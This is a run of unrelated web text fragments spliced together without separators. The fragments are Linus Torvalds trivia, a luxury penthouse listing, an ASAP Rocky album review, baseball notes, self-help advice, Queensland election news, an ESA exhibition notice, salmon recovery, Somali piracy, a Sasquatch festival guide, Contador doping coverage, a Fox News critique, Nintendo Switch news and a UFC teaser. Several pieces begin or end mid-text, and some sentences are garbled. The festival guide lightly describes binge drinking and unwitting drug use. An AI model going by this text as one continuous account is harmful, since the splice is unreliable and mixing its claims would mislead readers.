8. “Linux: A Portable Operating System” was the title of his thesis in M.Sc.
9. In 1993, when he was teaching at the University of Helsinki, he gave the task of composing email as homework to the students. Yeah! composing emails were a big deal back then.
A female student named Tove Monni completed the task by sending him an email asking him out on a date. He accepted and three years later first of their three daughters was born.
Shall I say he started the internet dating trend? Hmm… Nah! let’s leave it there ;)
10. He has numerous awards to his honor, including an asteroid named 9793 Torvalds.
11. Linus moved to the US in 1997 and settled there with his wife Tove and three daughters. He became a US citizen in 2010. At present, he works full time on the Linux kernel under the Linux Foundation.
Picture credit: opensource.com
12. In 2000, Apple’s founder Steve Jobs invited him to work on Apple’s macOS. Linus refused the lucrative and continued to work on Linux kernel.
13. Most people know Linus Torvalds for creating Linux kernel. But he has also created Git, a version control system that is extensively used in software development worldwide.
Till 2005, (then) proprietary service BitKeeper was used for the kernel development. When Bitkeeper shutdown its free service, Linus Torvalds created Git on his own because none of the other version control systems met his needs.
14. Though Linus works full time on Linux Kernel, he hardly writes any code for it anymore. In fact, most of the code in the Linux Kernel is by the contributors from around the world. He ensures that things go fine in each release with the help of kernel maintainers.
15. Linus Torvalds has a strong dislike for C++ programming language. He has been vocal about it. He jokes that Linux Kernel compiles faster than a C++ program.
16. A few years ago, Linus told that he found Debian difficult to install. He is known to be using Fedora on his main workstation.
17. Linus Torvalds loves scuba diving. He even created Subsurface, a dive-log software for scuba divers. You’ll be surprised that sometimes he even answers to general questions on its forum.
18. Torvalds is known for using mild expletives in Linux Kernel mailing list. This has been criticized by some in the industry. However, it would be difficult to his banter of “F**k you, NVIDIA” that prompted better support for Linux Kernel from NVIDIA.
19. Linus doesn’t feel comfortable in public speaking. He doesn’t attend many events. And when he does, he prefers to sit down and get interviewed by the host. This is his favorite way of doing a public talk.
20. Google Plus is the only social media platform he uses. You can find him reviewing gadgets there in his free time.
If you are interested to learn more about the early life of Linus Torvalds, I recommend reading his biography titled Just for Fun. You can also watch this short video about Linus Torvalds and share it with other people:
The apartment has tall glass windows crossed with steel beams, which serve both to let light in and to give it a unique aesthetic quality.
it is currently for sale for $14,000,000.
Buy it now!
Greenwich Street Project:
“This Penthouse atop iconic 497 Greenwich Street has been meticulously crafted to exceed conventional luxury standards, and customized to enhance the prolific architecture of Winka Dubbeldam, perched at the crossroads of West Soho, Tribeca and the West Village.
The triple mint, never lived in 3,500+ square foot duplex, is a work of un-paralleled sculptural architecture: The creation of something beautiful and thought-provoking is an abstract turned reality with a unique façade of double story, western exposed glass, through which one can view sunsets over the Hudson River and the Statue of Liberty from every vantage point in the apartment.
This spectacular backdrop provided the canvas for interior architect Sally Rigg to draw from the world’s best materials, appliances and fixtures, to stylishly landmark this Penthouse with its deserved global renown. The grand living spaces, replete with gas fireplace and home theatre, lead to a magnificent terrace that runs the full width (almost 50ft) of the property facing West. The kitchen is fully customized by Boffi, with Miele, Sub Zero and Gaggenau appliances: adjoining is an intimate, glamorous dining area.
There is a guest bedroom suite, or study, on this floor and a powder room. Upstairs the seductive Master bedroom features a dramatic en suite bathroom with a free-standing tub: the two walk in closets are equally impressive. An additional bedroom suite features a private terrace. An elevated study can also serve as a fourth bedroom and there is an additional half bathroom: the windowed laundry room is an amenity both luxurious and practical. With the entire home outfitted by SONOS’s ZonePlayer and ceiling speakers in every room, the audio experience of the Penthouse is commanding without intruding into the aesthetic.
Form meets function with the 1,500+ square foot landscaped private rooftop terrace, that seamlessly marries a gracious, open living room with an outdoor kitchen/wet bar. With every necessity of lifestyle finery catered to, the crown is the signature illustration of New York City opulence: a Sky Dining Terrace located on the roof’s highest point that will leave even the most discerning critic breathless.
The building amenities exemplify a thoughtfully conceived, boutique residence of a superior caliber: a chic, well equipped gym with natural daylight, sauna, endless swimming pool, wine cellar, full time doorman, screening room, meeting room, guest suite, and landscaped courtyard complete the picture.”
Image On his new album, “At.Long.Last.ASAP,” ASAP Rocky returns to his early style.
“At.Long.Last.ASAP” (Polo Grounds/RCA) is a languorous, luxuriously swampy album on which the clouds never part. With Rocky, his longtime partner ASAP Yams, and Danger Mouse as the executive producers, it’s unrelentingly hazy, a state of mind as much as a musical approach. Rocky is a more precise and impressive rapper here than he was on his 2013 debut album, returning to the nimble and flexible form he displayed on his earlier mixtape and Internet releases.
Though he comes from Harlem, Rocky has always been more at home with the cadences and gestures of hip-hop from elsewhere. He is an able student and assimilator without seeming studied. Generally, he prefers technique to narrative, slipping into double-time patterns or elongating syllables until they become thin and prickly.
Occasionally, Rocky slips into storytelling mode, but even here, he emphasizes escape. “Sometimes I wish I could get away and charter spaceships/To get away from my inhuman race with hearts of Satans,” he raps on “Pharsyde.” At times, he’s paranoid about losing his edge: “It’s like lately I ain’t myself/I’d rather hang myself before I play myself,” he raps on “M’s.”
And sometimes that paranoia spills over into misbehavior. On “Better Things,” there are some tactless lyrics about a claimed sexual encounter with the singer Rita Ora. On “Jukebox Joints,” he mentions his relationship with Iggy Azalea and throws in a coded reference to Rihanna. Along with drugs, fashion and taste, excess is another of Rocky’s muses, sometimes awkwardly.
Slugger Nolan Arenado, who has never faced a knuckleballer before, gets his chance to chase the butterfly Wednesday night when the Rockies face Boston right-hander Steven Wright at Fenway Park. Arenado has watched video, but he’s not sure what good that will do. He also contacted some people who have faced Wright, including former teammate Troy Tulowitzki, who now plays for Toronto in the American League East.
“I’m not sure what to do,” said Arenado, who entered Tuesday night’s game hitting .294 with 14 home runs, tied for second-most in the majors. “I’ve texted Tulo, and he’s giving me a little bit, here and there. But it will be different, it will be a little weird.”
Wright was traded to the Red Sox in 2012 and nearly retired the following winter before finally making his major-league debut in 2013 at age 28. He bounced between Triple-A and the majors for three seasons before claiming a spot in Boston’s starting rotation out of spring training. Wright entered Tuesday ranked sixth in the American League with a 2.52 ERA.
“(Boston’s) Tim Wakefield was the last knuckleballer I faced,” right fielder Carlos Gonzalez said. “So it’s tough. I think a lot of it is about instincts up there. I mean, what are you going to think about? It can be different every night. You just have to go up there and react and try to get one around the strike zone.”
Motte’s debut. Right-handed reliever Jason Motte signed a two-year, $10 million deal in early December but has yet to make his Rockies debut because of an injured shoulder. It will come Wednesday or Thursday against the Red Sox. He pitched back-to-back games for Triple-A Albuquerque, so he wasn’t available Tuesday.
Motte, who turns 34 next month, said his shoulder feels “great.”
“It took some time, but you can’t rush a shoulder,” said Motte, who strained his shoulder during spring training and spent nearly two month rehabbing it. “If you do, you will end up worse than where you started. You have to trust the process and take baby steps.”
Motte was competing with Jake McGee for the closer’s role in spring training before he got hurt. He eventually could be used in the eighth inning, but manager Walt Weiss won’t rush Motte into pressure situations.
“I’m probably not going to put him in during the eighth inning of a one-run game. … I’ll try to ease him in,” Weiss said. “At some point I see him pitching late in games.”
Footnotes. Right-handed batter Ryan Raburn was the designated hitter Tuesday night and likely will continue that role throughout the three-game series. … Pittsburgh pitcher Ryan Vogelsong, hit in the face by a 91 mph fastball by Rockies right-hander Jordan Lyles in Monday’s game, was placed on the 15-day disabled list with facial fractures, the Pirates announced Tuesday. Vogelsong left PNC Park in an ambulance and was admitted to Allegheny General Hospital. The team said after Monday’s game that he had suffered an injury to his left eye, including the orbital bone.
Looking Ahead
Rockies RHP Chad Bettis (4-2, 4.18 ERA) at Red Sox RHP Steven Wright (3-4, 2.52), 5:10 p.m. Wednesday, ROOT, 850 AM
Bettis, along with fellow right-hander Tyler Chatwood, has been a workhorse for Colorado. He has pitched at least six innings in eight of his nine starts. Bettis is 3-1 with a 4.25 ERA in six road starts. He has faced Boston just once, pitching an inning of relief in September 2013 at Coors Field. Wright, a “hard-throwing” knuckleballer, kept Kansas City off-balance in his last start, getting charged with just five hits in a complete game. However, a two-run homer by Eric Hosmer and a sacrifice fly by Alcides Escobar beat Wright and the Red Sox 3-2 in the opener of a split-doubleheader.
Thursday: Rockies RHP Jon Gray (1-2, 6.75 ERA) at Red Sox RHP Clay Buchholz (2-4, 5.92), 5:10 p.m., ROOT
Friday: Giants RHP Matt Cain (1-5, 5.37) at Rockies RHP Eddie Butler (2-2, 3.96), 6:40 p.m., ROOT
In fact, you can change your state and feel confident in a heartbeat by shifting your physiology.
Next, it’s about momentum. You don’t need to wait for the end result to be confident.
Starting the journey of making small improvements will boost your confidence instantly.
Think of baby steps. Make sure to be in a continuous improvement mode. The multiple daily ‘little victories’ will give you a buzz. This buzz is confidence. It’s not core confidence yet, but it feels the same.
It feels like confidence. So by improving daily on different areas of your life, you’ll continuously get confidence boosts.
If you do this for 90 days straight, that feeling of confidence will have become your default state. You will have developed core confidence, and you won’t need the confidence rushes anymore. You’ll BE confident.
The funny thing is that once you have core confidence, you’ll still want to keep improving your life. And you’ll still get those ‘little victories’ every day – ON TOP OF your core confidence.
Besides that, there are a multitude of mind tools and techniques you can use to accelerate your transformation into a truly confident, high-status man.
Get the best of both worlds: Use the 11 tips from this article to instantly make your confidence skyrocket, all while building true self-esteem over time. Do it now.
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Updated
All new teachers in Queensland will undergo basic testing themselves before they are allowed to hit the classroom under a plan announced by the LNP as part of their election campaign.
As part of the party's plan, teachers in waiting would undergo literacy and numeracy testing before being given a class of their own.
The pledge, ahead of the November 25 election, also includes adding 1,000 new teacher mentors and 80 new paid internships to get more into high-demand areas like special education and maths and science.
Opposition Leader Tim Nicholls said the new measures would lift education standards.
"We know that teaching excellence is the foundation to any future success in our education system," he said.
Shadow Education Minister Tracy Davis said it was crucial to go back to fundamentals.
"We will get back to basics, with teachers focusing on teaching Queensland children the foundation skills of language, literacy and numeracy."
Labor's Education Minister Kate Jones said the LNP's policy to test teachers was not necessary.
"New national rules have already come into play which ensure that a teacher must complete a numeracy and literacy test before they finish their teaching degree," she said.
"Tim Nicholls should have done his homework before he announced his plan."
Ms Davis defended the policy, saying the LNP test would not only assess whether a teacher understands language, literacy, and numeracy.
"Critically, the test will measure a teacher's ability to teach that knowledge to students - this will be done through practical assessments on an online platform and administered by the Queensland College of Teachers," she said.
"For example, the test will see a teacher presented with a child's workings and answer to a maths problem.
"The teacher will be assessed on how they work through where the child went wrong and how to achieve the correct answer."
TAFE redevelopments
Meanwhile Premier Annastacia Palaszczuk announced six TAFE campuses would be redeveloped and refurbished at a cost of $85 million under a re-elected Labor government.
Labor's TAFE policy Upgrades to campuses at Pimlico, Cairns, Mt Gravatt, Toowoomba, Redlands, and Gold Coast
New Beenleigh plumbing and fire safety training facility — $4 million
40 new apprentices to be employed in the Department of Housing and Public Works
"We want TAFE to be the premium provider of training in this state," Ms Palaszczuk said.
"We believe by reinvesting in TAFE assets, bringing them up to modern standards, making sure that they cope with the growing skills that are needed, the jobs that are needed across our state."
The ALP focus on skills and training on day 19 of the campaign comes as the latest monthly employment figures showed the seasonally adjusted Queensland's jobless rate rose from 5.9 per cent to 6 per cent.
Tonight Ms Palaszczuk, Mr Nicholls, and One Nation state leader Steve Dickson will take part in a 'people's forum' in Brisbane.
"I always love a debate … I love talking to people, I love hearing their concerns," Ms Palaszczuk said.
There will not be any formal leaders debate this election.
Topics: education, mathematics-education, university-and-further-education, political-parties, government-and-politics, elections, states-and-territories, brisbane-4000, qld, australia
The ‘Space For Our Future’ exhibition, created by ESA and the European Commission, was formally opened on 28 October in Brussels by EC President José Manuel Barroso, ESA Director General Jean-Jacques Dordain, CNES President Jean-Yves Le Gall and Arianespace Chairman and CEO Stéphane Israel.
The display highlights Europe’s successes in space, the concrete benefits being delivered to citizens, and the developments expected in the near future.
This showcase is taking place from 27 October to 14 November at the Berlaymont building in Brussels, headquarters of the European Commission. It was inaugurated on 28 October at 12:00 CET in front of EU and national representatives and media.
Organised with the support of France’s CNES space agency and Arianespace, the European launch services provider, the exhibition reflects the whole European space sector as it also involves the participation of Eumetsat, the European Satellite Operators Association, Eutelsat, Inmarsat, SES and Hispasat.
Anyways, I LOVED THIS GIFT!!! I have always seen people who have gotten the gift where the gifter gives the person a box of wonders and handwritten notes, and I never expected to get one of those. I am so very grateful for this. I don't feel like I even deserve it. However, I am really excited to eat and try all these things. I have already dove into the jelly beans :3
I decided to show most of my pictures through an album on imgur rather than here. It's just much easier. You can check that out here - http://imgur.com/a/j2Nkx
Twenty years ago, you could count the number of Chinook salmon heading up the White River near Buckley in the tens.
"They used to be as slow as in the teens," Fred Goetz, Endangered Species Act coordinator for the Seattle area and fish biologist said.
Goetz has overseen changes that made the salmon numbers jump to 9,000 last year and 15,000 this year.
"So those are record numbers for us, and that's a really good sign that things are going better for these salmon as they return to their spawning river," Goetz said.
There have been three key changes.
First, they had to build a better fish trap in Buckley. Goetz said the barrier used had wood timbers that were often rotten.
The second change came from the tribes adjusting how they run their hatcheries.
After fish are brought upstream to spawn, they have to pass through the dam themselves. There are two pipes that carry water through. The fish used to go through a smaller one, but they found only one in five juvenile salmon would survive that short part of the journey.
But when they used the bigger pipe, nearly all fish made it through.
"And we think we've improved the survival of juveniles," Goetz said.
Now, there's a new issue. The current fish trap was only built to handle a few thousand fish a year. With the rebounding Chinook and growing runs of pink salmon every other year in the hundreds of thousands, they need to expand drastically.
Next year they will start construction on the largest fish trap in North America. It will be able to transport one million salmon a year.
"It's a very good problem to have," Goetz said. "The ecosystem here has changed, there's been a dramatic change over the last 10 years."
From there, they had shut off the engines and the electrical systems. Now they were trying to be as quiet as possible, for fear that the pirates on board could hear them. The attackers had brought along a rocket-propelled grenade launcher, or RPG. The captain had seen it with his own eyes. And although this safe room had thick steel walls that were supposedly bulletproof, would they stand up against an RPG? Keeping quiet seemed to be the best approach.
Their silence only made the noise the pirates were making -- the shouting, the gunshots and the sound of doors being kicked in -- sound even louder. The pirates, knowing that there would be no ransom without hostages, were determined to find the crew. One of them was already calling for the captain in English and saying that all the pirates had been captured. It had to be a trick, the men thought, still keeping quiet.
But there it was again: "We're here to help you!" Not a sound from the safe room. "Captain Eggers, this is the Royal Dutch Navy. There are no pirates left here." Not a sound. But then the captain, Dierk Eggers, heard someone speaking Dutch and realized that it wasn't a trap, that he and his crew could finally come out and that it was all over. A special-forces unit from the Dutch frigate Tromp had captured the 140-meter (460-foot) German freighter and taken the pirates prisoner. The pirates were now lying handcuffed in a row on the deck.
Symbolic Victory
More than half a year has passed since then. The liberation of the Taipan is seen as one of the biggest successes in the fight against Somali pirates. Prosecutors in Hamburg now intend to turn that success into a victory by the German justice system over outlaws operating off the Horn of Africa.
The trial of the 10 Somali pirates, who the Netherlands has extradited to Germany, began on Monday in courtroom 337 at the Hamburg Regional Court. It is the first piracy trial on German soil in centuries. The court has scheduled 14 hearings. The trial revolves around charges of abduction with the intent to extort money, under Section 239a, Subsection 1 of the German Criminal Code, and attacking maritime traffic, under Section 316c, Subsection 1, Number 1b. More generally, the trial is about the rule of law. It's already clear that if the German authorities win the case, as they are expected to do, it will be no more than a symbolic victory. No one is sure if the larger battle can even be won anymore.
While preparations for the trial were underway in Hamburg in recent weeks, the situation off the coast of Africa deteriorated even further. Pirates have captured 37 ships from January to October of this year, up from 33 in the same period last year. In early November, German authorities counted 19 ships, carrying 440 hostages, at anchor off the coast of Somalia, including the Singapore-flagged MT York, which has a German captain. The ransoms are going up, with pirates now demanding an average of $12 million (€8.9 million), and with ship owners paying up to $10 million. According to Clayton Consultants, a US security firm, the negotiations are now lasting twice as long as in 2009.
The pirates' range of operations is also expanding, rendering increasingly powerless the international protective fleet, the European Union's Atalanta mission and the American, Russian and Indian navies. The few pirates they encounter today are getting more and more cunning, as well as increasingly violent and dangerous. On the other hand, there is a growing industry that profits from the crisis: There are companies that specialize in arming ships, negotiating with hostage-takers and insuring ships traveling along high-risk routes. Some 6,000 kilometers (3,750 miles) away from the Hamburg courtroom, in the fishing areas off East Africa, hardly anyone believes anymore that the Somali malaise is only a temporary phenomenon.
And so the global community has yet another problem it cannot solve, because solving this problem would require improving the world itself. Or at least a small part of the world that has already ceased to be a nation-state and remains nothing but a shattered country where young men without prospects stand to gain a lot and lose very little through piracy. There is, of course, the possibility that they could lose their lives, but lives mean relatively little in Somalia.
The Hunting Season
It is now November, and the new hunting season has only just begun. Not that there were months without any attacks, but in the monsoon period the waves are higher and the small skiffs the pirates use in their attacks are tossed about in the rough seas, making hijacking more difficult, more dangerous and sometimes impossible. This has prompted some pirates to move their territory to the Red Sea, where the waves are not as high. But now the monsoon has ended, the clouds are high in the sky, and the Indian Ocean below is as flat as a pancake -- and nicely filled with goods from around the world.
In the week before last, pirates captured the Tunisian tanker Hannibal II and the Chinese freighter Yuan Xiang. The German ship BBC Orinoco was also briefly in the hands of pirates on Nov. 11, but the crew fled to their safe room and the desperados disappeared again.
United Nations Secretary General Ban Ki-moon has called the pirates a "scourge." But even though these pirates climb the walls of ships barefoot, carrying weapons so rusted that the investigators in the Taipan case had very little hope of obtaining usable fingerprints, there is no question that the hostage business is extremely well organized.
The view of the Gorge is very picturesque and is one of the most elegant things you will see in your lifetime. The festival averages around 20,000 attendees per year, which is significantly less than other major music festivals and it makes for a very communal vibe.
Related: Sasquatch Tickets on VividSeats
Coming from Canada, my friends and I have made the 12 hour drive to Sasquatch the last couple years and have agreed, if there is one festival out of the bunch that we would attend together, Sasquatch music festival would be the winner. If you’re planning on going to Sasquatch for the first time or have been curious about the festival, here are 8 things you should know:
1. Stock up on supplies
Camping is your only option at Sasquatch and you need to ensure you and your friends are well stocked. A bonus about driving to Sasquatch with my crew is that we’re able to take all of our camping gear and necessities from back home (Canada). One of the best things about crossing the border into the land of the free is that the booze is significantly cheaper!
There is a Wal Mart about a half an hour away from the camping site and that’s where we’ve loaded up on booze. Some food, but mostly booze. If you’re alcoholics like my friends and I, it is better to have more than enough, than not enough. And even when you think you have enough, add 1 more 24 pack because I can assure you, you will run out. Once you’ve added that 24 pack, you should probably go ahead and add that 12 pack of Twisted Tea’s.
One more thing, security does not search your vehicle when you enter the campsite. Not one bit. So go ahead, add the Palm Bay’s if you’d like. P.S. At the Wal Mart, it is wise to not offer beer bong hits to customers in the parking lot, as we’ve learned that it is frowned upon by Wal Mart management.
2. Purchase Premier Camping
There are 4 different levels of camping at Sasquatch, but I’ve only camped in Standard camping and Premier camping. Standard camping is included with the purchase of your festival ticket and premier camping is $165.00 extra per vehicle. If you divide that by 4 people per vehicle that is an $41.25 extra per person. Not too shabby. Standard Camping – This is where majority of the people are camping, and it is a riot and total party. Also known as “District 9”, the area is very spacious in comparison to other major festivals I’ve camped at.
You want to have a jam sesh on top of a school bus with a bunch of hippies? How about a 20 on 20 Team Canada vs. Team America flip cup tournament? (we won by the way, eh). Standard camping has it all. There are showers that are accessible to all for the low cost of $3.00 per use. Premier Camping- How glorious it is. My recommendation? Pay the extra $41.25 per person. The shower is free, the wait times are significantly less and you still have access to standard camping.
The walk from the campgrounds to the festival grounds is anywhere from 20 minutes to 45 minutes, depending on your distance and the severity of your A.D.D. With premier camping, you get to ride a shuttle bus to and from the festival, at any time, and it is very convenient at the end of the day.
3. Don’t get Double X’d
I was waiting by the food trucks one morning awaiting my breakfast burrito (absolutely delicious, by the way). I noticed a fellow Sasquatchian in his early 20’s with 2 giant X’s on his hands written with permanent marker. I was curious, and asked him what it was all about. “It means I got too fucked up last night”.
Getting Double X’d at Sasquatch means you essentially lost at beer pong too many times in a row, chugged back half a 2/6 of Russian Prince for shits and gigs and decided to show your whole crew that you’re the beer bong champion of the world. Yes. You got too fucked up.
When you’re “that guy”, security draws 2 giant X’s on your hands to let beer vendors and other security know that your drunk ass has been CUT OFF. The deal, from what I gather, is that when you’re sober enough to actually wash the marker off your hands, you’re sober enough to drink again. Watching drunk people do drunk people things is tons’o fun, but you don’t want to be “that guy”. Drink in moderation. Don’t get Double X’d!!
4. Make Friends
There are around 20,000 people that attend Sasquatch every year, about 50,000 people less than major music festivals like Coachella and Bonnaroo. With less people attending the festival, it creates a more intimate and personal experience. The vibe is less pretentious compared to Coachella (sorry, but it’s true) and the people are very wholesome and more friendly.
Last year, a couple had their wedding ceremony in the actual campground and they had initially met each other at Sasquatch a few years ago. Their friends constructed a huge dome for their wedding ceremony (the dome also served as a wicked dance party every night). I was fortunate enough to be apart of the wedding “band” and was volunteered to drum on a cooler (yes, a beer cooler).
The camping neighbors were invited and as the couple walked the “aisle” I drummed to the tune of “Such Great Heights” by the Postal Code, sung by the lead guitar player. At first I thought it was pretty comical to be drumming on a cooler, at a wedding, in the campgrounds of a music festival. But as the vows were exchanged and tears filled the eyes of the attendees, love filled the air and it was a very intimate moment, amongst a group of complete strangers.
5. Hide your “Mass drinking devices”
HIDE YOUR BEER BONGS! Seriously. Security will take them, because they promote “mass drinking”. They will literally go through your campsite when you’re not there and take them.
Two years in a row we’ve had our dual-hosed beer bong confiscated. Sadly, as “first world music festival problems” would have it, we had to resort to simply “shot gunning” L. How sad. P.S. – If you’re a member of Sasquatch security and you’re reading this, we want those beer bongs back!!
6. Be Prepared for Unpredictable Weather
Sasquatch music festival is held at the Gorge, in George, Washington. The weather in Mr. George Washington is very unpredictable. It can be sunny one minute, pouring rain the next and at night I can almost guarantee you that it will be cold. Pack for all of the elements! Boots, raincoats, hoodies, shorts and bikinis!
Even if it rains, don’t let it deter you from maximizing your Sasquatch experience. Last year as I was watching Imagine Dragon’s set, the rain started to pour. As I looked to my left, in the distance, I could see a few people taking advantage of the rain and began sliding down the hill. Those few people turned into hundreds of people sliding merrily down the slippery hill!
The inner child in me wanted to join my fellow Sasquatchians in the everlasting joy and giggles, but alas, the inner hungry beast in me was too indulged in the succulent noodle bowl I had just purchased. But hey, as the ol saying goes “life isn’t about waiting for the storm to pass, but learning to dance in the rain” or “.. learning to slide down slippery hills at Sasquatch”.
7. Chill on the hill and get right in the pit
The stage at Sasquatch is an outdoor amphitheater, and no matter where you’re situated, the sound and view will be phenomenal. At Sasquatch, if you’re in a chillin’ mood and want to lay on the hill while grooving to the National, you’ll have an enjoyable time. As you lay on the hill and the sun starts to set, you’ll be looking at the beautiful backdrop of the Gorge. The orange rays of the setting sun will reflect magically off of the water, creating a very serene and calming atmosphere.
On the other hand, as the sun starts to set, what happens when the fuzzy peach candy you ate that was laced with acid that your friend didn’t tell you about, starts to kick in? You’ll want to get right into the action! You can march right down to that stage and get as close as you feel like! There are only 20,000 people at the festival; half are hanging out on the hill, others at different tents and some Double X’d and passed out! Get right in there!
8. Be considerate of others
If you’re going to Sasquatch for the first time, you have to realize this could be someone’s tenth time. They know the ins and outs and the dos and don’ts.
To me, Sasquatch is a place where 10 years ago one would’ve been “that guy” washing off the double X’s off their hands, but now they’re changing their baby’s XL diapers. To them, Sasquatch is “their place”. It is a place they go to annually with their family and friends, to let loose and be free. Sasquatch is a smaller music festival that is essentially a community, filled with all sorts of different people.
Even though you’re at a music festival, you have to take into consideration of everyone around you. Realistically, this should be applied to your everyday life. Keeping a tidy campsite? Very considerate. Pumping that Avicii song from 2 years ago in the campground at 6am from your 92’ Integra? Not very considerate.
Have a great time and enjoy every moment, but be respectful and be considerate of others.
The Spanish minister for education, culture and sport also weighed in, calling the videos "intolerable" and "unsportsmanlike."Rather than apologize, Canal Plus aired two more videos, including one showing puppet lookalikes of Nadal and other Spanish athletes signing a petition in support of Contador, but writing with syringes instead of pens.Spaniards find it suspect that it's a French TV station poking fun at their athletes. Contador was a three-time Tour de France winner before he was stripped of his 2010 title because of the doping scandal. His racing ban means he won't be able to compete in this year's Tour de France or at the Olympics in London.Nadal, who has not been accused of doping, has won the French Open six times since 2005."It's not against me but against Spain in general," Nadal told reporters Thursday on the Spanish island of Mallorca. "With less, we've achieved more than they have, we're doing something better. It's not about pills or syringes."Contador is an icon in Spain, where a number of officials, including former Prime Minister Jose Luis Rodriguez Zapatero, rushed to his defense in recent days.In an opinion piece published Wednesday in the Spanish sports daily Marca, Zapatero wrote that he shared "with all Spaniards a sense of bewilderment about the ruling and of solidarity with Alberto."Contador's punishment was handed down by the Swiss-based Court of Arbitration for Sport after a Spanish court let him off last year. The athlete claims he tested positive for a banned substance, the asthma drug clenbuterol, because of contaminated meat he consumed on a rest day during the 2010 Tour de France. But judges at the CAS ruled that there was insufficient evidence of such contamination.Contador has said he's considering whether to appeal the CAS ruling.
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Political resignations and general strikes hit Greece
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-- Lauren Frayer
Fox attacks Obama for supposedly sending fewer troops than recommended
Kilmeade: "It's unbelievable" and "wrong" that Obama disagreed with the generals Afghanistan. On the September 22 edition of Fox & Friends co-host Brian Kilmeade called Bob Woodard's claim that Obama wrote his own exit strategy for Afghanistan "unbelievable," adding that "the guys who fight the wars have a problem with your six page plan to win a war [in] which you never mention the word win." Kilmeade later added that "it's wrong" that Obama did not defer to the military, because "it's like having Fireman Ed design a game plan for the Jets to beat the Dolphins."
Carlson: "You have to defer to the military experts." Later during the program co-host Grethen Carlson stated that she credits the president for "spending that amount of time thinking about the war strategy and coming up with his own plan. The only problem is none of the military experts agreed with it. So in that case you have to defer to the military experts." She also questioned whether Obama was "making his decision for political reasons or for troops reasons and for safety of the country reasons."
Doocy: "It's a war - listen to the military guys." Following Carlson's statement, co-host Steve Doocy declared: "It's a war - listen to the military guys."
But Fox largely ignored Bush's dismissal of Shinseki's recommendation
Bush ignored Shinseki's recommendation on troop levels in Iraq. Gen. Eric Shinseki testified in a February 25, 2003, Senate Armed Services Committee hearing that "several hundred thousand soldiers" would be needed to successfully occupy Iraq. However, President Bush did not follow Shinseki's suggestion, and Bush's Deputy Defense Secretary Paul Wolfowitz called Shinseki's recommendation "wildly off the mark." Following the news that the Bush administration planned a surge of troops in 2007, several conservatives and military experts - including Republican Senator Lindsey Graham and Gen. Abizaid - reportedly stated that "Shinseki was right" in his initial estimate, and President Bush stated "there were not enough Iraqi and American troops" to keep the peace in Iraq.
Fox largely ignored the story, and when it did cover it, hosted just one person who supported Shinseki. Many Fox News figures responded to Shinseki's recommendation by attacking the general, rather than Bush. For example, during the April 1, 2003, edition of Special Report with Brit Hume, Fox News contributor Mort Kondracke asserted during a discussion of the Iraq war that it was "variously reported that" Shinseki believed "there wasn't enough ground forces," but nonetheless said, "it's time for this to be over" and suggested that people should stop "backing and forthing about whether there was adequate force or not." He declared: "[E]verybody should shut up and let daddy drive." Similarly, in response to host Alan Colmes' question, "What's going on at the Pentagon? You have a General Shinseki saying that" several hundred thousand "troops will be needed in a post-war Iraq. Then [you] have Deputy Secretary Paul Wolfowitz who says that's just not true, it's wildly off the mark. Why would there be a conflict between what a general at the Pentagon says and an undersecretary?," Richard Perle, a guest on the February 28, 2003, edition of Hannity & Colmes, responded in part by describing Shinseki's recommendation as "an absurd number." Only once did Fox host anyone who supported Shinseki's recommendation. [transcripts accessed via Nexis]
Generals: Obama filled Afghanistan troop requests that sat on Bush's desk
Petraeus: We didn't have the "resources that were necessary" in Afghanistan under Bush but now "we broadly have the inputs right." On the September 15 edition of NPR's Morning Edition, General David Petraeus told reporter Renee Montagne that "a number of us came out of Iraq in late 2008, the final weeks literally of the Bush administration, the early months of the Obama administration, and recognized that we did not have in place the organizations in some cases, the people, the plans, and above all the resources that were necessary" in Afghanistan, but that "not until just recently that we have approached the point at which we could say that we broadly have the inputs right."
Adm. Mullen in 2008: Not "enough troops" in Afghanistan because of Iraq. In a December 2008 interview, Adm. Mike Mullen, chairman of the Joint Chiefs of Staff, said of the conflict in Afghanistan: "We don't have enough troops there. I've said that over many months. And in that regard, we need to flow troops there as soon as they're available." Mullen added that "until we get to a point where we reduce that commitment [in Iraq], we won't have significant additional troops to add to Afghanistan."
Mullen in 2009: "We couldn't meet" requests for more troops in Afghanistan "because they were pushed to Iraq" where Bush wanted them. In a December 2, 2009 hearing before the House Foreign Affairs Committee, Rep. Mike Pence (R-IN) asked Mullen: "I wonder, Admiral, if -- are you aware of a request for reinforcements from 2001 to 2006 -- or 2008 that was not heeded? Can you tell the committee who made those requests? Can you tell the committee who in the chain of command denied those requests? Because I find the president's assertion, having been a part of a very strong bipartisan support for Afghanistan, really astonishing." Mullen responded: "Just in my tenure here, sir, that General McKiernan specifically had a fairly substantial request for upwards of 20,000 forces, which we couldn't meet because they just weren't there. They were in Iraq. I spoke out very early that Afghanistan had been underresourced and that, from my -- from where I lived, the heart of that was underresourced with military forces. We didn't have them, because they were pushed to Iraq. And we couldn't -- we really didn't have the flexibility to move them. That was a priority of a previous president. We do what the president says, and that's what we did." [Hearing of the House Foreign Affairs Committee, 12/2/09 (accessed via Nexis)]
"The Switch is a very interesting device.... A movement-related game is more fun for kids, you know, taking those [Joy-con controllers off] and then the master controller, you can really do a lot of interesting things with that in gameplay."
"I think it has tremendous potential as a game-changer. We'll have to wait and see. Like everything else in this industry, the consumers will vote with their dollars."
The original story is below.
After the Wii U underperformed, retailer GameStop appears to be optimistic about Nintendo's Switch console. Speaking during an earnings briefing today, CEO Paul Raines revealed that he played the console and came away impressed.
"The Nintendo Switch, which I played at Nintendo a few weeks ago--we believe could be another game-changer that will expand the audience for gaming," the executive said.
Also during the call, management said early metrics show that GameStop PowerUp Rewards members are aware of, and interested in, the system. Twenty-seven percent of GameStop's PowerUp Rewards members who are aware of the Nintendo Switch plan to buy the console, the company said. This pre-launch purchase intent metric is in line with that of the Xbox One at a similar point in time.
The company pointed out that this figure could go higher after Nintendo's Switch news event in January. During that event, Nintendo will announce the console's price, specs, and launch lineup.
Raines is just the latest to praise the Nintendo Switch, as Skyrim director Todd Howard recently said he played the console at E3 this year and was blown away. "Probably the best demo I've ever seen," he said. The day that the Switch was announced, October 20, Ubisoft CEO Yves Guillemot said the console has the potential to "redefine" gaming.
The Switch goes on sale in March 2017. In other news, GameStop suggested today that The Legend of Zelda: Breath of the Wild may come out in March alongside the console.
On December 12 2015, the UFC will host what many have been saying is their biggest event since UFC 100 in 2009. Next Saturday UFC 194 features a main event of Conor McGregor taking on Jose Aldo for the Unified UFC Featherweight Championship in a battle that has been nearly a year in the making.
